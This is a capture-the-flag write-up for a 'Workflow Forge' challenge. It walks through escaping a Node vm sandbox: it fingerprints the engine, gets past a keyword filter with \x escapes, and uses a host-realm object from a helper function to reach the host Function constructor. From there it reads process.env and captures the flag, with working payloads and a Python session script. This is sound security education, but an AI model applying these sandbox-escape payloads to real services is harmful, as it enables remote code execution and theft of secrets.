Workflow Forge

The name isn’t just branding - Forge really does melt down whatever expression you hand it and pour out a result. Fast, contained, and, according to the docs, completely sealed off from the rest of the system.

At least that’s the promise. Every forge has a seam where a careful hand can reach through - the question is whether you’re patient enough to find it.

Connections

  • https://installations-characterized-economies-copyrighted.trycloudflare.com

Recon

Workflow Forge is a small automation platform: an Express app with a login, a workflow list, and an editor where each workflow is a single JavaScript expression plus a JSON input context, evaluated server-side. The engine evaluating those expressions is the whole challenge, and the flag lives server-side, beyond the sandbox the engine is supposed to keep us in.

An account is needed to reach any of it: we registered from the /register page linked on the sign-in form. Sessions initially did not persist, the server answering the /login POST with a 302 to /workflows but no Set-Cookie header, so every authenticated route bounced back to /login until the organizers fixed the deployment mid-event. After that, login set a forge.sid session cookie and the app worked; everything below starts from a working session.

Mapping the app behind the login

With a session, the surface is small enough to map by clicking through it. /workflows lists our workflows and holds the create form, with a name field and an expression field pre-filled with {{ flowCtx.item.price * 1.1 }}. Creating a workflow lands on its editor page: an Expression textarea, an Input context (JSON) textarea pre-filled with the sample context, a Preview now button, a Run workflow button, and a Run history link. The history page lists each saved run with its number, timestamp, input, and output. /docs is a single page, the expression guide:

Expression guide
Syntax
Wrap a single expression in double braces: {{ flowCtx.item.price * 1.1 }}.
Example context
{"item":{"name":"Notebook","price":42}}
Available values
flowCtx.item.name
flowCtx.item.price
Runtime utilities support output preparation.

One expression per workflow, evaluated against the JSON context we supply, with unnamed “runtime utilities” hinting at more.

The editor’s own buttons were broken. Clicking Preview now on the live page always produced an error in the output panel, and the page’s embedded script explains why: it fetches POST /workflow/<id>/preview and POST /workflow/<id>/run with Content-Type: application/json and a JSON body, but the server has no express.json() middleware, so it only parses form encoding and every JSON body arrives as an empty req.body, the UI’s own calls included. Speaking the encoding the server does understand works:

POST /workflow/3/preview
Content-Type: application/x-www-form-urlencoded

expression=%7B%7B1%2B1%7D%7D&context=%7B%22item%22%3A%7B%22name%22%3A%22Notebook%22%2C%22price%22%3A42%7D%7D
{"ok":true,"result":2}

The double braces are optional in what we send, the server strips them, and every successful evaluation answers with {"ok":true,"result":<value>}, which is how the rest of the exploit reads results back. The app also rate-limits hard, answering 429 with a “Please wait a moment” page, and sessions occasionally dropped mid-run, so all scripted work went through a session helper that keeps the forge.sid cookie, backs off on 429, and logs in again whenever a request gets redirected to /login:

#!/usr/bin/env python3
"""Reusable session helper for Workflow Forge (forge.sid cookie, paced, 429-aware)."""
import os, time
import requests

BASE = "https://installations-characterized-economies-copyrighted.trycloudflare.com"
UA = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"

class Forge:
    def __init__(self, user="forgesmith7", password="ForgeHunter!42x"):
        self.s = requests.Session()
        self.s.headers.update({"User-Agent": UA})
        self.user = user
        self.password = password
        self.login(password)

    def _call(self, method, path, tries=5, **kw):
        kw.setdefault("headers", {})
        kw["headers"] = {"User-Agent": UA, **kw["headers"]}
        last = None
        for attempt in range(tries):
            try:
                r = self.s.request(method, BASE + path, allow_redirects=False,
                                   timeout=30, **kw)
            except requests.exceptions.RequestException as e:
                last = e
                time.sleep(12 * (attempt + 1)); continue
            if r.status_code == 429:
                time.sleep(15 * (attempt + 1)); continue
            if r.status_code == 302 and r.headers.get("location") == "/login" and path != "/login":
                # session lost (replica rotation / expiry): re-login and retry same request
                print("    [session lost, re-login]", flush=True)
                self.login(self.password)
                time.sleep(2.0)
                continue
            return r
        raise RuntimeError(f"{method} {path}: {last}")

    def pace(self, n=2.6):
        time.sleep(n)

    def login(self, password):
        r = self._call("POST", "/login",
                       data={"username": self.user, "password": password},
                       headers={"Content-Type": "application/x-www-form-urlencoded"})
        assert r.status_code == 302 and self.s.cookies.get("forge.sid"), \
            f"login failed: {r.status_code}"
        return r

    def get(self, path):
        self.pace()
        return self._call("GET", path)

    def post(self, path, data=None, form=True, files=None, headers=None):
        self.pace()
        h = {"Content-Type": "application/x-www-form-urlencoded"} if form and data is not None else {}
        if headers:
            h.update(headers)
        return self._call("POST", path, data=data, files=files, headers=h)

    def create_workflow(self, name, expression):
        return self.post("/workflow/new", data={"name": name, "expression": expression})

    def workflows_page(self):
        r = self.get("/workflows")
        assert r.status_code == 200, f"/workflows -> {r.status_code}"
        return r.text

Exploitation

Inside a Node vm sandbox

To fingerprint the engine we sent an expression that throws inside the sandbox and returns the caught error’s stack, posted form-encoded to the run endpoint of our probe workflow (id 710):

try{ null.x }catch(e){ e.stack }

The recorded stack, with the middleware frames in the middle omitted from our log:

at evalmachine.<anonymous>:1:11 | at Script.runInContext (node:vm:149:12) |
at Object.runInContext (node:vm:301:6) | at /app/app.js:157:23 | ... | at auth (/app/app.js:42:3)

evalmachine and node:vm identify the engine: Node’s vm module, which runs a script inside a contextified sandbox object, a plain object whose properties become the code’s globals. The stack also leaks where evaluation happens, /app/app.js:157. The globals inventory agreed. Object.getOwnPropertyNames(this) inside an expression returned 67 names, every standard JavaScript intrinsic (Object through WeakMap, plus Proxy, Reflect, eval, console, WebAssembly, and the rest) plus exactly two additions, flowCtx and helpers. No Buffer, no process, no require, no timers.

The helpers and the word ban

flowCtx is just our context JSON parsed inside the vm. helpers turned out to matter most: an object with two functions, formatValue and lookupRecord, present on the run endpoint but not on preview. Both are hardened, with their own toString, call, apply, and constructor properties stripped, but calling the sandbox’s Function.prototype.toString on them indirectly still returns their source:

Function.prototype.toString.call(helpers.formatValue)   ->  "value => String(value)"
Function.prototype.toString.call(helpers.lookupRecord) ->  "key => recordFactory(String(key))"

Calling lookupRecord('flag') returned {key: 'flag', count: 3, status: 'ready'}, our own input echoed back. We probed wider to see whether the echo ever did anything more, FLAG, ../flag.txt, even an asterisk, and every key came back the same shape, {key: <the key we sent>, count: 3, status: 'ready'}. A pure echo, so we treated lookupRecord as an inert mock.

There is also a source-level sanitizer on the expression text. Raw occurrences of at least constructor, prototype, Function, eval, require, global, process, module, and import produce a generic error before evaluation. The scanner decodes \u escapes before matching, but not \x escapes, and the JavaScript parser itself turns \x63 into c at parse time. So an expression can resolve the constructor property with this['\x63onstructor'] while its raw text never contains the banned word. Both halves of that asymmetry matter later.

The code generation wall

The classic vm escape is this.constructor.constructor('return process')(): the sandbox’s Object.prototype leads to a Function constructor, and a function compiled through it closes over the host realm, where process, require, and the filesystem live. Every version of that idea threw:

probe (property names built to pass the word ban) response
this.constructor.constructor('return 1+1')() EvalError: Code generation from strings disallowed for this context
flowCtx.item.constructor.constructor('return 1+1')() the same EvalError
this['eval']('1+1'), Reflect.apply(this['eval'], null, ['1+1']) the same EvalError
new WebAssembly.Module(new Uint8Array([0,97,115,109,1,0,0,0])) CompileError: WebAssembly.Module(): Wasm code generation disallowed by embedder

The eight bytes are the WebAssembly module header, \0asm plus version 1. The two error messages name the exact mechanism: the sandbox context is created with vm’s contextCodeGeneration option, strings and wasm both disabled, which makes V8 refuse any compile attributed to that context. String code generation and wasm code generation were both dead inside the sandbox.

The wall closed the intended route, and every side door closed with it: a sweep of guessed authenticated routes (/flag, /api/flag, /admin, /env) found nothing, other users’ workflow ids 404, so no IDOR, the create form ignores extra fields, so no mass assignment of richer step types, writes to this.__proto__ from an expression were virtualized away, and the run history HTML-escapes its output.

The realm of a returned record

The one object we had never actually inspected was the record lookupRecord returns; we had read its JSON and stopped at the echo. The record {key, count, status} is not created inside the sandbox. recordFactory, the closure behind lookupRecord, is host code, so the object it builds gets the host realm’s Object.prototype. Inside the sandbox, Object.getPrototypeOf({}) is the vm’s own Object.prototype, and comparing the two shows they are different objects. That difference is the seam, because the codegen restriction is enforced per compile context: the EvalError fires when a compile is attributed to the sandbox’s context, but a Function object that belongs to the host realm compiles its body in the host realm, where code generation is allowed. The host’s Object.prototype.constructor is the host’s Object, and its constructor is the host’s Function, callable from sandbox code:

var r = helpers.lookupRecord("Q1"); // record built by host code
var OP = Object.getPrototypeOf(r); // the host realm's Object.prototype
var FF = OP["const" + "ru\x63tor"]["const" + "ru\x63tor"]; // host Object, then host Function
FF("return 555")(); // returns 555, no EvalError

The call returns 555 with no EvalError, so the host realm’s Function compiles and runs freely. The same handle is also a host write primitive: setting a property on OP grafts it onto the host’s Object.prototype, where a fresh request reads it back. We used that to double-check the realm claim, then deleted the marker and verified it was gone, with the cleanup expression returning CLEANED:true.

The exploit

Reading the flag is two more steps, compiling a body that reads process.env and keeping the word ban happy while doing it. The body string lives in the expression source we send, so it assembles process from pieces at runtime, exactly like the property names:

var r = helpers.lookupRecord("H"); // host-realm record
var OP = Object.getPrototypeOf(r); // host Object.prototype
var FF = OP["const" + "ru\x63tor"]["const" + "ru\x63tor"]; // host realm's Function
FF('return Object.keys(this["proc"+"ess"].env).join(",")')(); // list the environment
FF('return String(this["proc"+"ess"].env.FLAG||this["proc"+"ess"].env.flag||"NOFLAG")')(); // read the flag

Each piece in order: lookupRecord hands over an object built outside the sandbox; its prototype chain reaches the host’s Function; compiling through that Function happens in the host realm, so the contextCodeGeneration restriction never applies; and since the compiled body is a normal non-strict function, this inside it is the host’s globalThis, the object that carries process. The first call listed the environment variables, confirming the reach, and the second read env.FLAG (the flag and NOFLAG fallbacks were never hit). The expressions were posted form-encoded to the run endpoint of our probe workflow (id 710) through the session helper, with a driver that prints each response, where f is the Forge session and WF the workflow id:

def call(tag, expr, ep="run", show=1500):
    r = f.post(f"/workflow/{WF}/{ep}", data=urllib.parse.urlencode({"expression": expr}),
               headers={"Content-Type": "application/x-www-form-urlencoded"})
    print(f"[{tag}] -> {r.status_code} {r.text[:show]}", flush=True)
    return r

Flag capture

Both endpoints serialize the completion value with the host’s JSON.stringify and answer {"ok":true,"result":<value>}, so the second call’s return value came straight back in the response body:

{"ok":true,"result":"NVR{3xpr3ss10n_3sc4p3d_th3_b0x}"}